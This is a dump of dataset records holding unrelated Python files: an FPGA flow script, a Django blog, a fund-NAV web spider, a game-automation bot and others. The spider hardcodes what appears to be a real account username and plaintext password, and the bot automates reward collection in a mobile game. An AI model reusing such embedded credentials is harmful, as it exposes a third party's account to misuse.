sts:\n xTools.say_it(\"Error. Failed to create/update/run-synthesis flow\")\n try:\n self.final_ldf_dict = xLattice.parse_ldf_file(self.final_ldf_file, self.is_ng_flow)\n except:\n self.final_ldf_dict = dict()\n xTools.say_it(\"-Error. Can not parse ldf file: %s\" % self.final_ldf_file)\n return 1\n # after synthesis, set the backend environment\n if self.run_ice:\n pass\n elif self.env_setter.set_be_env():\n return 1\n self.run_postsyn_if_needed()\n self.special_frequency = my_create.special_frequency\n current_diamond_version, small_version = xLattice.get_diamond_version()\n return xLattice.update_diamond_version(self.final_ldf_file, current_diamond_version)\n\n def run_postsyn_if_needed(self):\n if self.env_setter.diamond_fe == self.env_setter.diamond_be: # for both Diamond and Radiant\n return\n p_postsyn = re.compile(\"Command\\s+Line:\\s+(postsyn.+)\")\n # current folder is _scratch\n log_file = \"rub_pb.log\"\n res = xTools.simple_parser(log_file, [p_postsyn], but_lines=300)\n if res:\n cmd_line = res[1].group(1)\n cmd_list = cmd_line.split()\n new_cmd_list = list()\n for item in cmd_list:\n if item.endswith(\".ldc\"):\n item = os.path.relpath(item, os.getcwd())\n elif item.endswith(\".vm\") or item.endswith(\".udb\"):\n for foo in os.listdir(\".\"):\n if os.path.isfile(os.path.join(foo, item)):\n item = \"./{}/{}\".format(foo, item)\n break\n new_cmd_list.append(item)\n new_postsyn_command = \" \".join(new_cmd_list)\n xTools.run_command(new_postsyn_command, \"new_postsyn.log\", \"new_postsyn.time\")\n\n def run_ipgen_for_radiant(self, abs_rdf_file):\n for a, b, c in os.walk(self.src_design):\n for item in c:\n if item.endswith(\".sbx\"):\n self.sbx_file = os.path.join(a, item)\n elif item.endswith(\".cfg\"):\n _cfg = os.path.join(a, item)\n my_ipgen = xRadiantIPgen.UpdateRadiantIP(_cfg, self.sbx_file, self.scripts_options, abs_rdf_file,\n os.path.dirname(os.getenv(\"FOUNDRY\")))\n if my_ipgen.process():\n return 1\n\n def rerun_sbx_tcl(self):\n self.p_sbx = re.compile(\"-path\\s+\\{([^\\}]+)\\}\")\n _source = self.final_ldf_dict.get(\"source\")\n sts = 0\n for foo in _source:\n if foo.get(\"type_short\") == \"SBX\":\n sbx_file = xTools.win2unix(foo.get(\"name\"))\n if os.path.isfile(sbx_file):\n path1 = os.path.dirname(sbx_file)\n # remove all .v/.vhd under this folder\n for hdl in os.listdir(path1):\n if xTools.get_fext_lower(hdl) in (\".vhd\", \".v\"):\n la = os.path.join(path1, hdl)\n xTools.say_it(\".. removing %s\" % la)\n os.remove(la)\n path1 = os.path.dirname(path1)\n _this_recov = xTools.ChangeDir(path1)\n tcl_files = glob.glob(os.path.join(path1, \"*.tcl\"))\n if not tcl_files:\n xTools.say_it(\"Error. Not found tcl file for %s\" % sbx_file)\n continue\n for tcl in tcl_files:\n tcl = xTools.win2unix(tcl, 0)\n tcl_lines = xTools.get_original_lines(tcl)\n need_run = 0\n new_lines = list()\n for line in tcl_lines:\n line = line.rstrip()\n if self.p_sbx.search(line):\n need_run = 1\n line = self.p_sbx.sub(\"-path {%s}\" % sbx_file, line)\n new_lines.append(line)\n if need_run:\n xTools.write_file(tcl, new_lines)\n cmd = \"pnmainc %s\" % tcl\n _name = xTools.get_fname(tcl)\n sts = xTools.run_command(cmd, \"run_%s.log\" % _name, \"run_%s.time\" % _name)\n if sts:\n break\n _this_recov.comeback()\n return sts\n\n def copy_to_another_location_if_needed(self):\n bak_tag = self.scripts_options.get(\"bak_tag\")\n if bak_tag:\n tag_dir = os.path.join(os.path.dirname(self.dst_design), bak_tag)\n msg = \"copy {} to {}\".format(self.dst_design, tag_dir)\n if os.path.isdir(tag_dir):\n xTools.remove_dir_without_error(tag_dir)\n try:\n shutil.copytree(self.dst_design, tag_dir)\n print(\"Success: {}\".format(msg))\n except:\n print(\"Failed: {}\".format(msg))\n","sub_path":"tmp_client/tools/corescripts3/DEV/bin/xlib/flowLattice.py","file_name":"flowLattice.py","file_ext":"py","file_size_in_byte":32938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"390322669","text":"import os\n\nimport click\n\nimport numpy as np\n\nfrom imageio import imread, imsave\n\nfrom skimage.exposure import equalize_adapthist\n\n\ndef rescale_as_float(im):\n\n return (im.astype(np.float32) - im.min()) / (im.max() - im.min())\n\n\ndef generate_image_for_labelling(input_fpath, output_fpath):\n \"\"\"Generate an image for manual seed marking\"\"\"\n\n im = imread(input_fpath)\n scaled = rescale_as_float(im)\n\n eq = equalize_adapthist(scaled)\n\n imsave(output_fpath, eq)\n\n\n@click.command()\n@click.argument('nuclear_stain_fpath')\ndef main(nuclear_stain_fpath):\n\n dirname = os.path.dirname(nuclear_stain_fpath)\n label = os.path.basename(dirname)\n output_fpath = \"{}-image_to_label.png\".format(label)\n generate_image_for_labelling(nuclear_stain_fpath, output_fpath)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/generate_image_for_labelling.py","file_name":"generate_image_for_labelling.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"124037738","text":"pipe = make_pipeline(preprocessor, RandomForestRegressor(n_estimators=10))\nres = -cross_val_score(\n pipe, with_age, with_age['Age'], n_jobs=1, cv=10,\n scoring='neg_mean_absolute_error'\n)\nsns.distplot(res)\nsns.distplot(with_age.Age)\nprint(f'{res.mean()} +/- {res.std()}')\n\n\n","sub_path":"04_exploration/solutions/titanic_missing_age_24a.py","file_name":"titanic_missing_age_24a.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"288254249","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\nfrom FundNavSpiders import GGFundNavItem\nfrom FundNavSpiders import GGFundNavSpider\nimport json\n\n\nclass DeBangZhengQuanSpider(GGFundNavSpider):\n name = 'FundNav_DeBangZhengQuan'\n sitename = '德邦证券'\n channel = '券商资管净值'\n allowed_domains = ['www.tebon.com.cn']\n\n username = '13916427906'\n password = 'ZYYXSM123'\n\n fps = [{'url': 'http://www.tebon.com.cn/dbzq/zcgl/cpjz.jsp?classid=00010001000600040001',\n 'Referer': 'http://www.tebon.com.cn/dbzq/zcgl/JSONInfo.jsp?classid=000100010006000400020005'}]\n\n def __init__(self, *args, **kwargs):\n super(DeBangZhengQuanSpider, self).__init__(*args, **kwargs)\n\n def start_requests(self):\n yield self.request_next()\n\n def parse_fund(self, response):\n fund_code = response.css('select.select120 option::attr(value)').extract()\n fund_name = response.css('select.select120 option::text').re('-+\\s+(.*?)\\s+-+')\n for c, n in zip(fund_code, fund_name):\n self.ips.append({\n 'url': 'http://www.tebon.com.cn/dbzq/zcgl/data/jhjzData.jsp?code={}'.format(c),\n 'ref': response.url,\n 'ext': {'fund_name': n}\n })\n yield self.request_next()\n\n def parse_item(self, response):\n js_data = json.loads(''.join(response.text.split()))\n fund_name = response.meta['ext']['fund_name']\n rows = js_data['elements'][0]['values']\n\n for row in rows:\n r = row['tip'].split('
')\n nav = row['value']\n added_nav = r[0]\n statistic_date = r[1]\n\n item = GGFundNavItem()\n item['sitename'] = self.sitename\n item['channel'] = self.channel\n item['url'] = response.url\n item['fund_name'] = fund_name\n item['nav'] = float(nav)\n item['added_nav'] = float(added_nav)\n item['statistic_date'] = datetime.strptime(statistic_date, '%Y-%m-%d')\n yield item\n\n yield self.request_next()\n","sub_path":"FundNavSpiders/DeBangZhengQuan.py","file_name":"DeBangZhengQuan.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"102241774","text":"# -*- coding:utf-8 -*-\r\n'''\r\n 로켓펀치 기업데이터의 이름과 다른 정보를 가지고서 중복테스트를 진행한다.\r\n'''\r\n\r\nimport os, sys\r\nfrom weight import Calculate_weight\r\nfrom preprocessing import PREPROCESSING, PREPROCESSING_FOR_NAME\r\nfrom name_same_check import name_same_check\r\nfrom validation_test import validation_test\r\nfrom connect import Connect_data\r\nfrom translation import translate\r\n\r\n# FILE NAME\r\nFILE_NAME = \"company20190417_test\"\r\n\r\n# write_file\r\ndef write_file(__filename__, COMPANY_LIST):\r\n file = open(__filename__, \"w\")\r\n\r\n for iter in range(len(COMPANY_LIST)):\r\n for idx in range(len(COMPANY_LIST[iter])-1):\r\n file.write(str(COMPANY_LIST[iter][idx]) + \"\\t\")\r\n\r\n file.write(\"\\n\")\r\n\r\n file.close()\r\n\r\n\r\n# load company data\r\ndef data_loading(__filename__, COMPANY_LIST, CORRECT_DATA, INCORRECT_DATA):\r\n try :\r\n with open(\"same_data\",\"r\") as cor_data:\r\n for data in cor_data.readlines():\r\n data = data.strip().split(\"\\t\")\r\n\r\n CORRECT_DATA.append(set(data))\r\n\r\n except IOError:\r\n with open(\"same_data\",\"w\") as cor_data:\r\n pass\r\n try :\r\n with open(\"different_data\",\"r\") as cor_data:\r\n for data in cor_data.readlines():\r\n data = data.strip().split(\"\\t\")\r\n\r\n INCORRECT_DATA.append(set(data))\r\n\r\n except IOError:\r\n with open(\"different_data\",\"w\") as cor_data:\r\n pass\r\n\r\n\r\n with open(__filename__, 'r') as datafile:\r\n\r\n\r\n for line in datafile.readlines():\r\n # avoid overlapping\r\n line = line.strip().split('\\t')\r\n\r\n # if line doesn't have weight yet\r\n if len(line) < 12:\r\n line.append(Calculate_weight(line))\r\n\r\n # 이 기업이 테스트 되었는지 안 되었는지 확인\r\n # 0 -> 안되었음\r\n # 1 -> 되었음\r\n if len(line) < 13:\r\n line.append(\"0\")\r\n\r\n # line에 translation_list를 붙인다.\r\n name_ko, name_en = PREPROCESSING_FOR_NAME(line[1], line[2])\r\n line.append(translate([name_ko, name_en]))\r\n\r\n # push back\r\n COMPANY_LIST.append(line)\r\n\r\n\r\n print(\"loading \" + str(__filename__) + \" data is done successfully!\")\r\n\r\n # write_file\r\n write_file(__filename__, COMPANY_LIST)\r\n\r\n return COMPANY_LIST, CORRECT_DATA,INCORRECT_DATA\r\n\r\nif __name__==\"__main__\":\r\n\r\n # 기업의 정보가 들어갈 LIST\r\n COMPANY_LIST = []\r\n\r\n # 동일한 기업의 정보가 (id, id) 형태의 LIST로 저장\r\n # index는 불러오는 파���의 구조에 따라 달라진다.\r\n CORRECT_DATA = []\r\n\r\n # 다른 기업의 정보가 (id, id) 형태의 LIST로 저장\r\n INCORRECT_DATA = []\r\n\r\n # __filename__\r\n [COMPANY_LIST,CORRECT_DATA,INCORRECT_DATA] = data_loading(FILE_NAME, COMPANY_LIST, CORRECT_DATA, INCORRECT_DATA)\r\n\r\n try :\r\n for iter_1, com_data_list in enumerate(COMPANY_LIST):\r\n\r\n # 이미 체크한 것 안하도록\r\n if com_data_list[12] != \"0\":\r\n continue\r\n\r\n [name_ko, name_en] = PREPROCESSING(iter_1, COMPANY_LIST)\r\n\r\n # 한글 - 로마자 번역 필요\r\n translation_name = list(com_data_list[13])\r\n\r\n for iter_2 in range(iter_1 + 1, len(COMPANY_LIST)):\r\n # if name is same with [name_ko, name_en]\r\n if name_same_check(name_ko, name_en, translation_name, iter_2, COMPANY_LIST):\r\n '''\r\n # It is already in Same_data file\r\n if set([COMPANY_LIST[iter_1][0], COMPANY_LIST[iter_2][0]]) in CORRECT_DATA:\r\n pass\r\n '''\r\n\r\n # It is already in Different_data file\r\n if set([COMPANY_LIST[iter_1][0], COMPANY_LIST[iter_2][0]]) in INCORRECT_DATA:\r\n pass\r\n\r\n # Check Company_1 and Company_2 are really same\r\n elif validation_test(iter_1, iter_2, COMPANY_LIST):\r\n with open(\"same_data\",\"a\") as file:\r\n file.write(\"{0}\\t{1}\\n\".format(COMPANY_LIST[iter_1][0], COMPANY_LIST[iter_2][0]))\r\n else:\r\n with open(\"different_data\",\"a\") as file:\r\n file.write(\"{0}\\t{1}\\n\".format(COMPANY_LIST[iter_1][0], COMPANY_LIST[iter_2][0]))\r\n\r\n com_data_list[12] = \"1\"\r\n\r\n write_file(FILE_NAME, COMPANY_LIST)\r\n print(\"Checking done successfully!\\n\\nData Conneting...\")\r\n Connect_data(COMPANY_LIST)\r\n print(\"DATA connecting Done!\")\r\n\r\n except:\r\n write_file(FILE_NAME, COMPANY_LIST)\r\n print(\"\\nSaved! and Exit!\")\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"294057387","text":"from django.shortcuts import render,get_object_or_404\n\nfrom .models import Post, Category, Tag,Signature,Aboutme\nimport markdown\nfrom django.utils.text import slugify\nfrom markdown.extensions.toc import TocExtension\nfrom .my_page import PageInfo\nfrom django.views.decorators.cache import cache_page\nviews=0\nindex_time=0\na=[]\nimport time\n\nfrom config import TITLE,TITIE2,AUTHOR,INTRODUCE,LOVETITLE,YEAR,POWERBY,URL,GITHUBURL,FRIENDS,OLDFRIENDS\n\nshow_info = {'title': TITLE, 'title2': TITIE2, 'author': AUTHOR, 'introduce': INTRODUCE, 'lovetitle': LOVETITLE,\n 'year': YEAR, 'powerby': POWERBY,'url':URL,'githuburl':GITHUBURL,'friends':FRIENDS,'bad_links':OLDFRIENDS}\n\n# 网站首页\ndef index(request,*args,**kwargs):\n post_list = Post.objects.all().order_by('-created_time')\n all_count = post_list.count()\n page_info = PageInfo(request.GET.get('page'), all_count, 20,'/', 11)\n post_list = post_list[page_info.start():page_info.end()] # 每页显示的数据\n return render(request, 'blog/index.html', context={'post_list': post_list, 'page_info': page_info,'show_info':show_info})\n\ndef detail(request, pk):\n global index_time,a,views\n index_time=time.time()\n\n post = get_object_or_404(Post, pk=pk)\n # 阅读量 +1\n post.increase_views()\n md = markdown.Markdown(extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n # 'markdown.extensions.toc',\n TocExtension(slugify=slugify),\n ])\n post.body = md.convert(post.body)\n post.toc = md.toc\n tags=post.tags.all()\n create_time=str(post.created_time).split(' ')[0]\n\n return render(request, 'blog/detail.html', context={'post': post,'tags':tags,'show_info':show_info,'create_time':create_time})\n\ndef archives(request, year, month):\n post_list = Post.objects.filter(created_time__year=year,\n created_time__month=month\n ).order_by('-created_time')\n all_count = post_list.count()\n page_info = PageInfo(request.GET.get('page'), all_count, 20,'/', 11)\n post_list = post_list[page_info.start():page_info.end()] # 每页显示的数据\n return render(request, 'blog/index.html', context={'post_list': post_list,'page_info':page_info})\n\ndef category(request, pk):\n # 记得在开始部分导入 Category 类\n cate = get_object_or_404(Category, pk=pk)\n post_list = Post.objects.filter(category=cate).order_by('-created_time')\n all_count = post_list.count()\n page_info = PageInfo(request.GET.get('page'), all_count, 20,'', 11)\n post_list = post_list[page_info.start():page_info.end()] # 每页显示的数据\n return render(request, 'blog/index.html', context={'post_list': post_list,'page_info':page_info,'show_info':show_info})\n\ndef tag(request, pk):\n tag = get_object_or_404(Tag, pk=pk)\n post_list = Post.objects.filter(tags=tag).order_by('-created_time')\n all_count = post_list.count()\n page_info = PageInfo(request.GET.get('page'), all_count, 20,'', 11)\n post_list = post_list[page_info.start():page_info.end()] # 每页显示的数据\n return render(request, 'blog/index.html', context={'post_list': post_list,'page_info':page_info,'show_info':show_info})\n\nfrom django.db.models import Q\n\ndef search(request):\n q = request.GET.get('q')\n error_msg = ''\n q2=request.POST.get('q2')\n if not q2:\n error_msg = \"请输入关键词\"\n return render(request, 'blog/index.html', {'error_msg': error_msg,'show_info':show_info})\n post_list = Post.objects.filter(Q(title__icontains=q2) | Q(body__icontains=q2))\n all_count = post_list.count()\n page_info = PageInfo(request.GET.get('page'), all_count, 20,'/', 11)\n post_list = post_list[page_info.start():page_info.end()] # 每页显示的数据\n return render(request, 'blog/index.html', {'error_msg': error_msg,\n 'post_list': post_list,'page_info':page_info,'show_info':show_info})\n\ndef signature(request,*args,**kwargs):\n signature_list = Signature.objects.all().order_by('-created_time')\n all_count = signature_list.count()\n page_info = PageInfo(request.GET.get('page'), all_count, 20,'/', 11)\n signature_list = signature_list[page_info.start():page_info.end()] # 每页显示的数据\n return render(request, 'blog/Signature.html', context={'signature_list': signature_list, 'page_info': page_info,'show_info':show_info})\n\n\ndef aboutme(request):\n info = Aboutme.objects.first()\n\n md = markdown.Markdown(extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n # 'markdown.extensions.toc',\n TocExtension(slugify=slugify),\n ])\n info.body = md.convert(info.body)\n info.toc = md.toc\n return render(request, 'blog/aboutme.html', context={'post': info,'show_info':show_info})\n\ndef friends(request):\n return render(request, 'blog/friends.html', context={'show_info': show_info})","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"204052878","text":"import os\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager\nfrom operator import add\n\ndataroot = 'result_topk'\ndataname = ['nr','gpcr','ic']\nfold = list(range(5,21))\n\n\n## ----------------------------- copy K_values out -----------------------------------\n#for dataset in dataname:\n# for foldid in fold:\n# for fd in range(1, foldid+1):\n# path = dataroot + '/' + dataset + '/' + str(foldid) + '/fold' + str(fd) + '/'\n# cmd = 'cp '+path+'K_values.txt '+path+'../'\n# os.system(cmd)\n\n\n## ------------------------------ obtain avg kronls topk ------------------------------\n#for dataset in dataname:\n# for foldid in fold:\n# f = open(dataroot+'/'+dataset+'/'+str(foldid)+'/K_values.txt','r')\n# kvalues = f.read()\n# kvalues = kvalues.split(' ')\n# kvalues = kvalues[:-1]\n# K_set = []\n# for e in kvalues:\n# K_set.append(int(e)) \n# f.close()\n# topK_avg = [0]*len(K_set)\n# f = open(dataroot + '/' + dataset + '/' + str(foldid) + '/'+'kronrls_topK_avg.txt','w')\n# for fd in range(1, foldid+1):\n# path = dataroot + '/' + dataset + '/' + str(foldid) + '/fold' + str(fd) + '/'\n# f2 = open(path+'kronrls_topK.txt','r')\n# tmp = []\n# for row in f2:\n# tmp.append(float(row))\n# f2.close()\n# topK_avg = map(add, topK_avg, tmp)\n# for e in topK_avg:\n# e = e/foldid\n# f.write(str(e)+'\\n')\n# f.close()\n \n\n# ----------------------------- plot best mean across folds curve --------------------------------\nfor dataset in dataname:\n bsf_rate = []\n bsf_mean = 10000\n bsf_foldnum = 0\n for foldid in fold:\n path = dataroot + '/' + dataset + '/' + str(foldid) + '/'\n rate = []\n f = open(path + 'kronrls_topK_avg.txt', 'r')\n for e in f:\n rate.append(float(e))\n if sum(rate)/len(rate) < bsf_mean:\n bsf_mean = sum(rate)/len(rate)\n bsf_rate = rate\n bsf_foldnum = foldid\n f.close()\n path = dataroot + '/' + dataset + '/' + str(bsf_foldnum) + '/'\n f = open(path+ 'K_values.txt', 'r')\n kvalues = f.read()\n kvalues = kvalues.split(' ')\n kvalues = kvalues[:-1]\n K_set = []\n for e in kvalues:\n K_set.append(int(e)) \n f.close()\n plt.clf()\n plt.plot(K_set, bsf_rate)\n plt.xlabel('Top Size')\n plt.ylabel('Capture Percentage')\n #plt.ylim([0.0, 1.05])\n #plt.xlim([0.0, 1.0])\n plt.title('Capture Rate in Top Size in dataset '+dataset+' with '+str(bsf_foldnum)+' folds')\n #plt.legend(loc=\"lower left\")\n plt.show()\n\n \n","sub_path":"read_comp_avg.py","file_name":"read_comp_avg.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"545266951","text":"import pyautogui\nfrom airtest.core.api import *\nimport uiautomation as auto\nimport subprocess\nfrom MultiPlayNoxAuto import multiPlay,Nox\n\nwhile 1:\n # multiPlay()\n # time.sleep(2)\n # Nox()\n # time.sleep(2)\n os.system('adb devices')\n connect_device('Android://127.0.0.1:5037/127.0.0.1:62001')\n time.sleep(2)\n tiaoguoyd = pyautogui.locateOnScreen(image='tiaoguoyd.png')\n print(tiaoguoyd)\n xt, yt = pyautogui.center(tiaoguoyd)\n print('tiaoguoyd()', xt, yt)\n pyautogui.click(x=xt, y=yt, clicks=1, button='left')\n time.sleep(5)\n\n os.system('adb install D:\\\\Downloads\\\\com.gamerry.gamerry-v2.0.0.apk')\n i=0\n while i <5 :\n i += 1\n # for i in range(1,8):\n try:\n connect_device('Android://127.0.0.1:5037/127.0.0.1:62001')\n os.system('adb shell am start -W -n com.gamerry.gamerry/.UnityPlayerActivity')\n\n time.sleep(75)\n #判定目标截图在系统上的位置\n closeA=pyautogui.locateOnScreen(image='xx.png')\n #输出坐标\n print(closeA)\n #利用center()函数获取目标图像在系统中的中心坐标位置\n x,y=pyautogui.center(closeA)\n print('closeA()',x,y)\n #对识别出的目标图像进行点击\n #参数x,y代表坐标位置,clicks代表点击次数,button可以设置为左键或者右键\n pyautogui.click(x=x,y=y,clicks=1,button='left')\n\n time.sleep(2)\n xrjiangli=pyautogui.locateOnScreen(image='xrjiangli.png')\n print(xrjiangli)\n if xrjiangli != None:\n xj,yj=pyautogui.center(xrjiangli)\n print('xrjiangli()',xj,yj)\n pyautogui.click(x=xj,y=yj,clicks=1,button='left')\n time.sleep(5)\n if xrjiangli != None:\n os.system('adb shell am force-stop com.gamerry.gamerry')\n continue\n else:\n pass\n\n time.sleep(8)\n lingq=pyautogui.locateOnScreen(image='firstd.png')\n print(lingq)\n if lingq != None:\n xl,yl=pyautogui.center(lingq)\n print('firstd()',xl,yl)\n pyautogui.click(x=xl,y=yl,clicks=1,button='left')\n else:\n pass\n\n time.sleep(3)\n gongxihd=pyautogui.locateOnScreen(image='gongxihd.png')\n print(gongxihd)\n if gongxihd != None:\n xg,yg=pyautogui.center(gongxihd)\n print('gongxihd()',xg,yg)\n pyautogui.click(x=xg,y=yg,clicks=1,button='left')\n else:\n pass\n\n time.sleep(2)\n huoduoxx=pyautogui.locateOnScreen(image='huoduoxx.png')\n print(huoduoxx)\n if huoduoxx != None:\n xh,yh=pyautogui.center(huoduoxx)\n print('huoduoxx()',xh,yh)\n pyautogui.click(x=xh,y=yh,clicks=1,button='left')\n else:\n pass\n\n time.sleep(2)\n bd = 0\n while bd < 5:\n bangd=pyautogui.locateOnScreen(image='bangdsmall.png')\n bangdbig = pyautogui.locateOnScreen(image='bangdbig.png')\n if bangd != None:\n print(bangd)\n x1, y1 = pyautogui.center(bangd)\n print('bangd()', x1, y1)\n pyautogui.click(x=x1, y=y1, clicks=1, button='left')\n break\n elif bangdbig != None:\n print(bangdbig)\n xb, yb = pyautogui.center(bangdbig)\n print('bangdbig()', xb, yb)\n pyautogui.click(x=xb, y=yb, clicks=1, button='left')\n break\n else:\n continue\n\n time.sleep(2)\n while 1:\n quxiaobd=pyautogui.locateOnScreen(image='quxiaobd.png')\n if quxiaobd != None:\n print(quxiaobd)\n xa, ya = pyautogui.center(quxiaobd)\n print('quxiaobd()', xa, ya)\n pyautogui.click(x=xa, y=ya, clicks=1, button='left')\n break\n else:\n continue\n\n time.sleep(3)\n play=pyautogui.locateOnScreen(image='paodek.png')\n print(play)\n x2,y2=pyautogui.center(play)\n print('play()',x2,y2)\n pyautogui.click(x=x2,y=y2,clicks=1,button='left')\n time.sleep(5)\n # if play != None:\n # os.system('adb shell am force-stop com.gamerry.gamerry')\n # continue\n # else:\n # pass\n\n time.sleep(3)\n var =0\n #跑得快游戏玩3局\n while var < 3:\n var += 1\n while 1:\n time.sleep(2)\n playEnter = pyautogui.locateOnScreen(image='kuaisuyx.png')\n print(playEnter)\n if playEnter != None:\n x3,y3=pyautogui.center(playEnter)\n print('playEnter()',x3,y3)\n pyautogui.click(x=x3,y=y3,clicks=1,button='left')\n time.sleep(3)\n jinbibz = pyautogui.locateOnScreen(image='jinbibzxx.png')\n if jinbibz != None:\n # os.system('adb shell am force-stop com.gamerry.gamerry')\n print(jinbibz)\n xjb,yjb = pyautogui.center(jinbibz)\n print('jinbibz()',xjb,yjb)\n pyautogui.click(x=xjb, y=yjb, clicks=1, button='left')\n time.sleep(2)\n break\n else:\n pass\n #进入游戏,判断游戏是否可开始\n time.sleep(5)\n playkong = pyautogui.locateOnScreen(image='kong.png')\n playkongs = pyautogui.locateOnScreen(image='kongs.png')\n playkongx = pyautogui.locateOnScreen(image='kongx.png')\n if playkong != None or playkongs != None or playkongx != None:\n time.sleep(2)\n back = pyautogui.locateOnScreen(image='fanh.png')\n print(back)\n x4,y4 = pyautogui.center(back)\n print('back()',x4,y4)\n pyautogui.click(x=x4, y=y4, clicks=1, button='left')\n time.sleep(2)\n continue\n else:\n time.sleep(10)\n tg=pyautogui.locateOnScreen(image='tuog.png')\n print(tg)\n x5,y5=pyautogui.center(tg)\n print('tg()',x5,y5)\n pyautogui.click(x=x5,y=y5,clicks=1,button='left')\n\n time.sleep(120)\n goo=pyautogui.locateOnScreen(image='likaiqd.png')\n print(goo)\n x6,y6=pyautogui.center(goo)\n print('goo()',x6,y6)\n pyautogui.click(x=x6,y=y6,clicks=1,button='left')\n if var == 3:\n os.system('adb shell am force-stop com.gamerry.gamerry')\n break\n except Exception as e:\n print(e)\n sleep(5)\n os.system('adb shell am force-stop com.gamerry.gamerry')\n # continue\n\n","sub_path":"AutoPlay.py","file_name":"AutoPlay.py","file_ext":"py","file_size_in_byte":7805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"19324885","text":"'''\nA confederação Nacional de Natação precisa de um programa que leia o ano de nascimento\nde um atleta e mostre sua categoria, de acordo com a idade:\n\n- Até 9 anos : MIRIM\n- Até 14 anos: INFANTIL\n- Até 19 anos: JUNIOR\n- Até 20 anos: SÊNIOR\n- Acima: MASTER\n'''\nfrom datetime import datetime\n\nanoNasc = int(input('Digite o ano de nascimento:'))\nanoAtual = datetime.now().year\n\nif anoAtual - anoNasc <= 9:\n print('Mirim')\nelif anoAtual - anoNasc <=14:\n print('Infantil')\nelif anoAtual - anoNasc <=19:\n print('Junior')\nelif anoAtual - anoNasc <=20:\n print('Sênior')\nelif anoAtual - anoNasc >20:\n print('Master')\n","sub_path":"Curso em Vídeo/Exercícios/ex041.py","file_name":"ex041.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"185137430","text":"#!/usr/bin/env python\n\nfrom __future__ import division, print_function\n\nimport sys\n\nimport numpy as np\n\nresscale = (1.0 / float(sys.argv[1]))\n\nshrinks = []\nblurs = []\niterations = []\n\n# Based on intrinsic PSF of MRIs, FWHM of pixels are 1/1.2*res (sinc function)\n# We assume the base blur resolution is this\ns0 = 1 / (resscale * 1.20670912432525704588) * 1 / (2 * np.sqrt(2 * np.log(2)))\n\nfor scale in np.logspace(np.log10(8 * resscale), np.log10(resscale), 12):\n if scale < 1:\n break\n shrinks.append(str(int(np.ceil(scale))))\n blurs.append(str(np.sqrt((scale / resscale)**2 - s0**2)))\n iterations.append(str(min(6400, int(np.around(50 * (scale)**3)))))\n\nif resscale > 1:\n scale = resscale / 2\n while scale >= 1:\n shrinks.append(str(int(np.ceil(scale))))\n blurs.append(str(np.sqrt((scale / resscale)**2 - s0**2)))\n iterations.append(str(min(6400, int(np.around(50 * (scale)**3)))))\n scale = scale / 2\n\n\nshrinks.append(\"1\")\nblurs.append(\"0\")\niterations.append(\"25\")\n\n# Compute base bspline level based on size of shrink/scale levels\n# print(2**(len(shrinks)-1)*3 / resscale)\n\n# Debug outputs\n# print(\"x\".join(iterations))\n# print(\"x\".join(shrinks))\n# print(\"x\".join(blurs))\n\nprint(\"--convergence [{},1e-6,10]\".format(\"x\".join(iterations)), end=' ')\nprint(\"--shrink-factors {}\".format(\"x\".join(shrinks)), end=' ')\nprint(\"--smoothing-sigmas {}mm\".format(\"x\".join(blurs)), end=' ')\n","sub_path":"bin/mb_generate_SyN_iterations_logspace.py","file_name":"mb_generate_SyN_iterations_logspace.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"468942348","text":"# 打开mongodb,并将bolg、skills、solution部分合并到一个collection中\nfrom pymongo import MongoClient\nclient = MongoClient('localhost', 27017)\ndb = client.lanqi_skills_tex\ncoll_names = db.collection_names()\ncoll = client.lanqi_blog_collection.get_collection('skills')\nfor item in coll_names:\n coll_name = db.get_collection(item)\n item_for_insert = coll_name.find_one({})\n coll.insert(item_for_insert)\n","sub_path":"obsolete/2018/mongodb/mongo_collection_merge.py","file_name":"mongo_collection_merge.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"374072136","text":"# ======================================================================\n#\n# Brad T. Aagaard\n# U.S. Geological Survey\n#\n# ======================================================================\n#\n\nimport sqlite3\nimport sys\nimport logging\nimport datetime\nimport dateutil.parser\nimport pytz\n\nimport numpy\n\nTABLES = [\n (\"eew_alerts\", [\n \"server TEXT NOT NULL\",\n \"event_id INTEGER NOT NULL\",\n \"category TEXT NOT NULL\",\n \"message_type TEXT NOT NULL\",\n \"timestamp TEXT NOT NULL\",\n \"version INTEGER NOT NULL\",\n \"magnitude REAL NOT NULL\",\n \"magnitude_type TEXT DEFAULT Mw\",\n \"latitude REAL NOT NULL\",\n \"longitude REAL NOT NULL\",\n \"depth_km REAL NOT NULL\",\n \"origin_time TEXT NOT NULL\",\n \"num_stations INTEGER DEFAULT 0\",\n \"UNIQUE(server, event_id, version, category) ON CONFLICT FAIL\",\n ]),\n (\"comcat_events\", [\n \"event_id TEXT NOT NULL PRIMARY KEY\",\n \"latitude REAL NOT NULL\",\n \"longitude REAL NOT NULL\",\n \"depth_km REAL NOT 